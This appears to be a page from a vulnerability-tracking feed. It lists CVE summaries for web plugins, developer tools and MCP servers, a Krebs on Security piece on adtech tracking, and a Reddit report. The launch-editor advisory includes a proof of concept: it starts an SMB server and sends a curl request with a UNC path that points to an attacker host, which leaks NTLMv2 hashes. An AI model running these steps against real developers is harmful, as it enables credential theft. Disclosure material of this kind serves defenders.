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10 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | – | CVE-2026-126737drupal/mollie · This module enables you to accept online payments on your website using Mollie HighGCVE DatabaseCVE-2026-126737 The Drupal Mollie module before version 2.3.2 insufficiently validates incoming webhook calls, which can lead to incorrect application of payments on websites using this module. | GCVE Database | |||
| –Not rated | – | Krebs on Security It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps; – buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app. Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app. “It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.” Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file. “Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.” A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information. A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com. HIGH-RISK AD PARTNERS DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE). According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their pub… | Krebs on Security | |||
| Medium | 6.4 | EPSS 0.3% | Medium6.4EPSS 0.3%CVE Database V5CVE-2025-14785 The Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `seedprodnestedmenuwidget` shortcode in all versions up to, and including, 6.20.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. | CVE Database V5 | ||
| Medium | 5.5 | EPSS 0.5% | Medium5.5EPSS 0.5%CVE Database V5CVE-2026-53632 ### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" /> | CVE Database V5 | ||
| –Not rated | – | Reddit Cybersecurity A user reported issues with the Indian cybercrime complaint website (https://www.cybercrime.gov.in/Webform/Crime_AuthoLogin.aspx), describing problems such as delayed OTP delivery and the website becoming unresponsive during complaint filing. The report originates from a Reddit post with minimal discussion and no technical details or confirmed vulnerabilities. The website currently returns a 'Page Not Found' error. | Reddit Cybersecurity | |||
| High | 8.8 | EPSS 0.3% | CVE-2026-42559modelcontextprotocol rust-sdk · Origin Validation Error High8.8EPSS 0.3%CVE Database V5CVE-2026-42559 CVE-2026-42559 is a high-severity vulnerability in the modelcontextprotocol Rust SDK (rmcp crate) prior to version 1.4.0. The Streamable HTTP server transport did not validate the incoming Host header, enabling a DNS rebinding attack. This flaw could allow a malicious website to send authenticated requests to an MCP server running on a victim's loopback or private network interface. The vulnerability is fixed in version 1.4.0. No known exploits in the wild have been reported. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | Medium6.8EPSS 0.2%CVE Database V5CVE-2026-35577 Apollo MCP Server is a Model Context Protocol server that exposes GraphQL operations as MCP tools. Prior to version 1.7.0, the Apollo MCP Server did not validate the Host header on incoming HTTP requests when using StreamableHTTP transport. In configurations where an HTTP-based MCP server is run on localhost without additional authentication or network-level controls, this could potentially allow a malicious website—visited by a user running the server locally—to use DNS rebinding techniques to bypass same-origin policy restrictions and issue requests to the local MCP server. If successfully exploited, this could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the local user. This issue is limited to HTTP-based transport modes (StreamableHTTP). It does not affect servers using stdio transport. The practical risk is further reduced in deployments that use authentication, network-level access controls, or are not bound to localhost. This vulnerability is fixed in 1.7.0. | CVE Database V5 | ||
| High | 8.9 | EPSS 0.6% | CVE-2026-27148storybookjs storybook · Injection High8.9EPSS 0.6%CVE Database V5CVE-2026-27148 Storybook is a frontend workshop for building user interface components and pages in isolation. Prior to versions 7.6.23, 8.6.17, 9.1.19, and 10.2.10, the WebSocket functionality in Storybook's dev server, used to create and update stories, is vulnerable to WebSocket hijacking. This vulnerability only affects the Storybook dev server; production builds are not impacted. Exploitation requires a developer to visit a malicious website while their local Storybook dev server is running. Because the WebSocket connection does not validate the origin of incoming connections, a malicious site can silently send WebSocket messages to the local instance without any further user interaction. If the Storybook dev server is intentionally exposed publicly (e.g. for design reviews or stakeholder demos) the risk is higher, as no malicious site visit is required. Any unauthenticated attacker can send WebSocket messages to it directly. The vulnerability affects the WebSocket message handlers for creating and saving stories. Both are vulnerable to injection via unsanitized input in the componentFilePath field, which can be exploited to achieve persistent XSS or Remote Code Execution (RCE). Versions 7.6.23, 8.6.17, 9.1.19, and 10.2.10 contain a fix for the issue. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.5% | High7.5EPSS 0.5%CVE Database V5CVE-2024-2038 The Visual Website Collaboration, Feedback & Project Management – Atarim plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 3.22.6. This is due to the use of hardcoded credentials to authenticate all the incoming API requests. This makes it possible for unauthenticated attackers to modify plugin settings, delete posts, modify post titles, and upload images. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.7% | High8.2EPSS 0.7%CVE Database V5CVE-2024-1072 The Website Builder by SeedProd — Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the seedprod_lite_new_lpage function in all versions up to, and including, 6.15.21. This makes it possible for unauthenticated attackers to change the contents of coming-soon, maintenance pages, login and 404 pages set up with the plugin. Version 6.15.22 addresses this issue but introduces a bug affecting admin pages. We suggest upgrading to 6.15.23. | CVE Database V5 |
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